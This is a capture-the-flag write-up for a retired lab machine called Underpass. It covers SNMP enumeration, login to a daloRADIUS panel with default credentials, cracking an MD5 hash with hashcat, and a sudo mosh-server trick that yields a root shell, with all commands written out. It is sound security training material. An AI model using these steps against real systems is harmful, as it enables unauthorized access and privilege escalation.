Retired machine. Flags redacted - solve it yourself.
Summary
UDP enumeration finds SNMP, which points at a daloRADIUS install. Default operator credentials expose a user’s MD5 hash; cracking it gives SSH. A sudo misconfiguration on mosh-server escalates to root.
Enumeration
nmap -p- --min-rate 10000 <ip>
nmap -p 22,80 -sCV <ip>
- 22/tcp SSH, 80/tcp HTTP (default Apache page - looks like a placeholder).
Web/dir fuzzing on the main site returned nothing useful:
gobuster dir -u http://underpass.htb -w /usr/share/wordlists/dirb/common.txt -t 50
ffuf -u http://underpass.htb -H "Host: FUZZ.underpass.htb" -w /usr/share/wordlists/dirb/subdomains-top1million-20000.txt -ac
The win was UDP:
snmpwalk -v2c -c public <ip>
- Hostname
Underpass.htb, a usersteve, and a reference to a daloRADIUS server.
Foothold
/daloradius/→ login page.stevefailed.- Admin panel at
/daloRADIUS/app/operators→ default credsadministrator:radiusworked. - Panel exposed user
svcMoshwith an MD5 password hash. Crack it:
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
- SSH in as
svcMoshwith the cracked password → user flag.
Privilege Escalation
sudo -l # svcMosh may run /usr/bin/mosh-server
mosh lets you point at a custom server binary; run it under sudo:
mosh --server="sudo /usr/bin/mosh-server" localhost
That spawns a root shell → root flag.
Lessons Learned
- Don’t skip UDP - SNMP (161/udp) leaks usernames and service hints.
- Default web-app credentials (
administrator:radius) are still everywhere. - A sudo-allowed binary that launches other processes (
mosh-server) is a direct privesc.